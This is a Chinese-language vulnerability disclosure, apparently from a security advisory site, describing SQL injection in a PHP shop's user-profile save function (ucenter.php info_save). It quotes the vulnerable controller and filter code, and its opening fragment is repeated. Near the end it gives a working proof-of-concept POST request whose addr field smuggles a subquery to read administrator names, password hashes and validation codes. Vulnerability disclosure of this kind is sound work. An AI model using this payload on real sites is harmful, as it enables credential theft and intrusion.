### 简要描述: 参数未过滤,导致注入 ### 详细说明: 问题出现在/protected/controllers/ucenter.php中: ``` public function info_save() { $rules = array('name:required:昵称不能为空!','real_name:required:真实姓名不能为空!','sex:int:性别必需选择!','birthday:date:生日日期格式不正确!','mobile:mobi:手机格式不正确','phone:phone:电话格式不正确'); $info = Validator::check($rules); if(is_array($info)){ $this->redirect("info",false,array('msg'=>array("info",$info['msg']))); }else{ $data = array( 'name'=>Filter::str(Req::args('name')), 'real_name'=>Filter::str(Req::args('real_name')), 'sex'=>Filter::int(Req::args('sex')), 'birthday'=>Req::args('birthday'), 'mobile'=>Req::args('mobile'), 'phone'=>Req::args('phone'), 'province'=>Req::args('province'), 'city'=>Req::args('city'), 'county'=>Req::args('county'), 'addr'=>Filter::text(Req::args('addr'))//上面几个参数都没有过滤,直接赋值了,但是Validator::check($rules)函数会队一些参数做验证,看看addr吧,用Filter::text函数过滤了,我们跟一下 ); } $name = Filter::sql(Req::args("name")); $id = $this->user['id'];...
### 简要描述: 参数未过滤,导致注入 ### 详细说明: 问题出现在/protected/controllers/ucenter.php中: ``` public function info_save() { $rules = array('name:required:昵称不能为空!','real_name:required:真实姓名不能为空!','sex:int:性别必需选择!','birthday:date:生日日期格式不正确!','mobile:mobi:手机格式不正确','phone:phone:电话格式不正确'); $info = Validator::check($rules); if(is_array($info)){ $this->redirect("info",false,array('msg'=>array("info",$info['msg']))); }else{ $data = array( 'name'=>Filter::str(Req::args('name')), 'real_name'=>Filter::str(Req::args('real_name')), 'sex'=>Filter::int(Req::args('sex')), 'birthday'=>Req::args('birthday'), 'mobile'=>Req::args('mobile'), 'phone'=>Req::args('phone'), 'province'=>Req::args('province'), 'city'=>Req::args('city'), 'county'=>Req::args('county'), 'addr'=>Filter::text(Req::args('addr'))//上面几个参数都没有过滤,直接赋值了,但是Validator::check($rules)函数会队一些参数做验证,看看addr吧,用Filter::text函数过滤了,我们跟一下 ); } $name = Filter::sql(Req::args("name")); $id = $this->user['id']; $this->model->table("user")->data(array("name"=>$name))->where("id=$id")->update(); $this->model->table("customer")->data($data)->where("user_id=$id")->update(); 。。。 } ``` 我们跟一下Filter::text: ``` /**@param $str 字符串 * @return 字符串 *@note 处理HTML编辑器的内容,主要是解决JavaScript的注入问题 */ public static function text($str) { $config = HTMLPurifier_Config::createDefault(); $cache_dir=Tiny::getPath('cache')."/htmlpurifier/"; if(!file_exists($cache_dir)) { File::mkdir($cache_dir); } $config = HTMLPurifier_Config::createDefault(); //配置 缓存目录 $config->set('Cache.SerializerPath',$cache_dir); //设置cache目录 //配置 允许flash $config->set('HTML.SafeEmbed',true); $config->set('HTML.SafeObject',true); $config->set('Output.FlashCompat',true); //$config->set('HTML.Allowed', 'p'); //$config->set('AutoFormat.AutoParagraph', true); //$config->set('AutoFormat.RemoveEmpty', true); //允许<a>的target属性 $def = $config->getHTMLDefinition(true); $def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top'); $purifier = new HTMLPurifier($config); if (get_magic_quotes_gpc())$str = stripslashes($str); $str = $purifier->purify($str); return $str; } ``` 跟进发现text函数并没有对sql注入进行过滤,问题就出现了。 ### 漏洞证明: http://localhost/index.php?con=ucenter&act=info_save POST内容: name=test@qq.com&real_name=test&sex=1&birthday=2014-08-29&mobile=13712345678&phone=3123123&province=130000&city=130200&county=130202&addr=11111231231,`addr`=(select concat(name,0x5f,password,0x5f,validcode) from tiny_manager) # 看看sql执行: [<img src="https://images.seebug.org/upload/201408/242059486c061dcbf97f9ef8d4d8abac0068483e.png" alt="QQ截图20140824205840.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/242059486c061dcbf97f9ef8d4d8abac0068483e.png) 然后我们点击自己的个人资料: [<img src="https://images.seebug.org/upload/201408/2421000688023dc4459d2dc1d92bf0f24c714305.jpg" alt="QQ图片20140824205725.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/2421000688023dc4459d2dc1d92bf0f24c714305.jpg) 管理员的账号,密码hash和验证码都有了